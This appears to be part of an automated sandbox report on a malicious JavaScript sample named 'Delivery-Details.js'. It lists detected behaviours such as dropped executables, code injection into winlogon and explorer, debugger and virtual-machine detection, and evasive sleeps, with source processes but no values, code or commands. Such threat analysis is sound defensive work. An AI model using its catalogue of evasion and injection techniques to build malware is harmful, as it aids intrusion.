Source: C:\Windows\System32\mshta.exe | Process created: |
Uses an in-process (OLE) Automation server | Show sources |
Source: C:\Windows\System32\wscript.exe | Key value queried: |
PE file contains an invalid data directory | Show sources |
Source: exe2[1].exe.3012.dr | Static PE information: |
Creates mutexes | Show sources |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Mutant created: |
Found potential string decryption / allocating functions | Show sources |
PE file contains strange resources | Show sources |
Source: exe2[1].exe.3012.dr | Static PE information: | ||
Source: exe2[1].exe.3012.dr | Static PE information: |
Reads the hosts file | Show sources |
Source: C:\Windows\System32\wscript.exe | File read: |
Searches for the Microsoft Outlook file path | Show sources |
Source: C:\Windows\System32\mshta.exe | Key opened: |
Tries to load missing DLLs | Show sources |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Section loaded: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Section loaded: |
Java / VBScript file with very long strings (likely obfuscated code) | Show sources |
Source: Delivery-Details.js | Initial sample: |
HIPS / PFW / Operating System Protection Evasion: |
---|
May try to detect the Windows Explorer process (often used for injection) | Show sources |
Source: explorer.exe | Binary or memory string: | ||
Source: winlogon.exe, taskhost.exe, explorer.exe, mshta.exe | Binary or memory string: | ||
Source: winlogon.exe, taskhost.exe, explorer.exe, mshta.exe | Binary or memory string: | ||
Source: winlogon.exe, taskhost.exe, explorer.exe, mshta.exe | Binary or memory string: |
Allocates memory in foreign processes | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Memory allocated: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Memory allocated: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Memory allocated: | ||
Source: C:\Windows\System32\winlogon.exe | Memory allocated: | ||
Source: C:\Windows\System32\winlogon.exe | Memory allocated: | ||
Source: C:\Windows\System32\winlogon.exe | Memory allocated: | ||
Source: C:\Windows\System32\winlogon.exe | Memory allocated: | ||
Source: C:\Windows\System32\winlogon.exe | Memory allocated: | ||
Source: C:\Windows\System32\winlogon.exe | Memory allocated: | ||
Source: C:\Windows\System32\winlogon.exe | Memory allocated: |
Changes memory attributes in foreign processes to executable or writable | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Memory protected: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Memory protected: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Memory protected: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Memory protected: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Memory protected: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: | ||
Source: C:\Windows\System32\winlogon.exe | Memory protected: |
Contains functionality to inject code into remote processes | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | Code function: | 8_2_002E0018 |
Creates a thread in another existing process (thread injection) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Thread created: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Thread created: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Thread created: | ||
Source: C:\Windows\System32\winlogon.exe | Thread created: | ||
Source: C:\Windows\System32\winlogon.exe | Thread created: | ||
Source: C:\Windows\System32\winlogon.exe | Thread created: | ||
Source: C:\Windows\System32\winlogon.exe | Thread created: | ||
Source: C:\Windows\System32\winlogon.exe | Thread created: | ||
Source: C:\Windows\System32\winlogon.exe | Thread created: | ||
Source: C:\Windows\System32\winlogon.exe | Thread created: |
Injects a PE file into a foreign processes | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | Memory written: |
Injects code into the Windows Explorer (explorer.exe) | Show sources |
Source: C:\Windows\System32\winlogon.exe | Memory written: |
Modifies the context of a thread in another process (thread injection) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | Thread register set: |
Writes to foreign memory regions | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Memory written: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Memory written: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Memory written: | ||
Source: C:\Windows\System32\winlogon.exe | Memory written: | ||
Source: C:\Windows\System32\winlogon.exe | Memory written: | ||
Source: C:\Windows\System32\winlogon.exe | Memory written: | ||
Source: C:\Windows\System32\winlogon.exe | Memory written: | ||
Source: C:\Windows\System32\winlogon.exe | Memory written: | ||
Source: C:\Windows\System32\winlogon.exe | Memory written: | ||
Source: C:\Windows\System32\winlogon.exe | Memory written: |
Benign windows process drops PE files | Show sources |
Source: C:\Windows\System32\wscript.exe | File created: |
System process connects to network (likely due to code injection or exploit) | Show sources |
Source: C:\Windows\System32\wscript.exe | Network Connect: | ||
Source: C:\Windows\System32\wscript.exe | Network Connect: | ||
Source: C:\Windows\System32\wscript.exe | Network Connect: | ||
Source: C:\Windows\explorer.exe | Network Connect: | ||
Source: C:\Windows\System32\wscript.exe | Network Connect: |
Anti Debugging: |
---|
Creates guard pages, often used to prevent reverse engineering and debugging | Show sources |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Memory allocated: |
Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation)) | Show sources |
Source: C:\Windows\System32\wscript.exe | System information queried: |
Contains functionality to dynamically determine API calls | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_0040274C |
Contains functionality to read the PEB | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Code function: | 2_2_01830221 |
Contains functionality which may be used to detect a debugger (GetProcessHeap) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Code function: | 4_1_00402110 |
Enables debug privileges | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Process token adjusted: | ||
Source: C:\Windows\System32\winlogon.exe | Process token adjusted: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | Process token adjusted: |
Malware Analysis System Evasion: |
---|
May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory) | Show sources |
Source: exe3.exe | Binary or memory string: | ||
Source: exe3.exe | Binary or memory string: | ||
Source: exe3.exe | Binary or memory string: |
Queries a list of all running drivers | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe | System information queried: |
Queries a list of all running processes | Show sources |
Source: C:\Windows\System32\wscript.exe | Process information queried: |
Contains capabilities to detect virtual machines | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Registry key queried: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe | Registry key queried: |
Contains long sleeps (>= 3 min) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Thread delayed: |
Enumerates the file system | Show sources |
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: | ||
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | File opened: |
Found WSH timer for Javascript or VBS script (likely evasive script) | Show sources |
Source: C:\Windows\System32\wscript.exe | Window found: |
Found a high number of Window / User specific system calls (may be a loop to detect user behavior) | Show sources |
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe | Window / User API: |
May sleep (evasive loops) to hinder dynamic analysis | Show sources |
Source: C:\Windows\System32\wscript.exe TID: 3392 | Thread sleep time: | ||
Source: C:\Windows\System32\wscript.exe TID: 3392 | Thread sleep time: | ||
Source: C:\Windows\System32\wscript.exe TID: 3048 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe TID: 3160 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe TID: 3160 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe TID: 3160 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe TID: 3240 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe1.exe TID: 3160 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3252 | Thread sleep time: | ||
Source: C:\Windows\System32\rundll32.exe TID: 3208 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3328 | Thread sleep count: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3328 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3324 | Thread sleep count: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3324 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3320 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3480 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3464 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3320 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3324 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3220 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe2.exe TID: 3316 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\winlogon.exe TID: 3276 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\System32\taskhost.exe TID: 3360 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 1932 | Thread sleep count: | ||
Source: C:\Windows\explorer.exe TID: 3300 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3300 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 1244 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3300 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 1244 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3308 | Thread sleep time: | ||
Source: C:\Windows\explorer.exe TID: 3348 | Thread sleep time: | ||
Source: C:\Windows\System32\mshta.exe TID: 3624 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3508 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
Source: C:\Users\LUKETA~1\AppData\Local\Temp\exe3.exe TID: 3588 | Thread sleep time: | ||
